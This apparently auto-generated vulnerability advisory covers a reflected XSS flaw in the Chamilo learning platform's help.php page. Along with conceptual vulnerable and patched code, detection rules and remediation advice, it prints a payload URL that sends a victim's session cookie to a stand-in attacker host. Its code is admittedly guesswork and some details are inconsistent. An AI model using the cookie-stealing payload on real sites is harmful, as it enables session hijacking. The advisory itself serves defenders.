CVE-2025-52564
Executive Summary
CVE-2025-52564 is a reflected Cross-Site Scripting (XSS) vulnerability in Chamilo, a popular open-source Learning Management System (LMS). The flaw resides in the help.php script, where the open parameter is not properly sanitized before being rendered in the HTML output. An attacker can craft a malicious URL containing arbitrary HTML or JavaScript, which, when visited by an authenticated user, executes in the context of the victim's browser. This can lead to session hijacking, credential theft, or defacement. The vulnerability is patched in Chamilo version 1.11.30.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Chamilo is a PHP-based application distributed as a ZIP archive or via Git. There are no NPM, PyPI, Go, or Ruby packages involved. The primary supply chain risk is the use of outdated or unpatched Chamilo installations. Administrators should ensure they are using the latest version from the official Chamilo repository.
CVSS Breakdown & Threat Level
- CVSS Score: 0.0 (NVD) / 4.3 (Calculated)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
- Attack Vector (AV): Network - The vulnerability is exploitable remotely.
- Attack Complexity (AC): Low - No special conditions are required.
- Privileges Required (PR): None - The attacker does not need to be authenticated.
- User Interaction (UI): Required - The victim must click on the crafted link.
- Scope (S): Unchanged - The exploit does not affect other components.
- Confidentiality (C): None - Direct data theft is not possible.
- Integrity (I): Low - The attacker can modify content in the victim's browser.
- Availability (A): None - The vulnerability does not affect system availability.
Threat Level: Medium. While the CVSS score is low due to the need for user interaction, the potential for session hijacking and phishing attacks makes this a significant concern for Chamilo deployments.
Deep Dive & Mechanics
The vulnerability is a classic reflected XSS in the help.php file. The open parameter is used to specify which help topic to display. The vulnerable code likely directly echoes the value of $_GET['open'] into the HTML without any sanitization or encoding.
Attack Flow:
- An attacker crafts a URL like:
https://target-chamilo.com/main/help.php?open=<script>alert('XSS')</script> - The attacker sends this link to a victim (e.g., via email, social media, or a phishing campaign).
- The victim, who is logged into Chamilo, clicks the link.
- The
help.phpscript processes the request and outputs the malicious script in the HTML response. - The victim's browser executes the script, which can perform actions like stealing session cookies, redirecting to a malicious site, or performing actions on behalf of the victim.
Root Cause: Lack of output encoding. The application fails to treat user input as data rather than code. The fix in version 1.11.30 likely uses htmlspecialchars() or a similar function to escape HTML special characters.
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual):
<?php
// help.php
$open = $_GET['open'];
echo "<div id='help-content'>$open</div>";
?>
Patched Code (Conceptual):
<?php
// help.php
$open = $_GET['open'];
echo "<div id='help-content'>" . htmlspecialchars($open, ENT_QUOTES, 'UTF-8') . "</div>";
?>
The patched version uses htmlspecialchars() to convert characters like <, >, ", and & into their HTML entity equivalents, preventing the browser from interpreting them as code.
Exploitation & Lab Setup
Red Team
Prerequisites:
- A vulnerable Chamilo instance (version < 1.11.30).
- A web browser.
Exploitation Steps:
- Identify a target Chamilo instance.
- Craft a malicious URL. For example, to steal a session cookie:
https://target-chamilo.com/main/help.php?open=<script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script> - Send the link to a victim (e.g., via email).
- When the victim clicks the link, their session cookie is sent to the attacker's server.
Proof of Concept (PoC):
<!-- Save as poc.html and host on attacker server -->
<a href="https://target-chamilo.com/main/help.php?open=<script>alert('XSS')</script>">Click me</a>
Blue Team
Detection:
- Monitor web server logs for requests to
/main/help.phpwith suspiciousopenparameters containing<script>,onerror=, or other HTML/JavaScript constructs. - Use a Web Application Firewall (WAF) to block requests with malicious payloads in the
openparameter.
Hunting:
- Search for URLs in logs that contain encoded or unencoded HTML tags in the
openparameter. - Look for unusual referrer headers or user agents that may indicate automated scanning.
Lab Setup:
- Deploy a vulnerable Chamilo instance (e.g., version 1.11.29) in a controlled environment.
- Use a tool like Burp Suite or OWASP ZAP to intercept and modify requests.
- Send a crafted request to
help.phpwith a maliciousopenparameter. - Observe the response in the browser or proxy to confirm the XSS.
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP requests to
/main/help.phpwithopenparameter containing<script>,%3Cscript%3E, or similar patterns. - Outbound connections to unknown IP addresses or domains from a Chamilo server (if the XSS payload exfiltrates data).
- HTTP requests to
Host IOCs:
- Web server logs showing requests with suspicious
openparameter values. - Presence of unexpected JavaScript code in the HTML source of
help.phppages.
- Web server logs showing requests with suspicious
File IOCs:
- No specific file IOCs, as this is a server-side vulnerability.
Detection Engineering
YARA Rule
rule Detect_Chamilo_XSS_Help_PHP {
meta:
description = "Detects attempts to exploit CVE-2025-52564 in Chamilo help.php"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-52564"
strings:
$xss_payload = /help\.php\?open=.*(<script|<img|onerror=|onload=)/i
condition:
$xss_payload
}
Sigma Rule
title: Chamilo help.php Reflected XSS Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to exploit CVE-2025-52564 by injecting HTML/JavaScript into the open parameter of help.php
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'GET'
cs-uri-query|contains: '/main/help.php?open='
cs-uri-query|re: '(<script|<img|onerror=|onload=)'
condition: selection
falsepositives:
- Legitimate use of HTML in help topics (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"Chamilo help.php Reflected XSS Attempt"; flow:to_server,established; content:"/main/help.php"; http_uri; content:"open="; http_uri; pcre:"/(<script|<img|onerror=|onload=)/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Upgrade Chamilo: Update to version 1.11.30 or later immediately.
- Apply Virtual Patching: If immediate upgrade is not possible, use a WAF to block requests containing malicious patterns in the
openparameter. - Review Logs: Check web server logs for any signs of exploitation.
Long-Term Mitigations:
- Input Validation: Implement strict input validation for all user-supplied parameters.
- Output Encoding: Use context-appropriate encoding (e.g., HTML entity encoding) when rendering user input.
- Content Security Policy (CSP): Deploy a CSP header to mitigate the impact of XSS attacks.
- Regular Updates: Keep Chamilo and all other software up to date.
Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.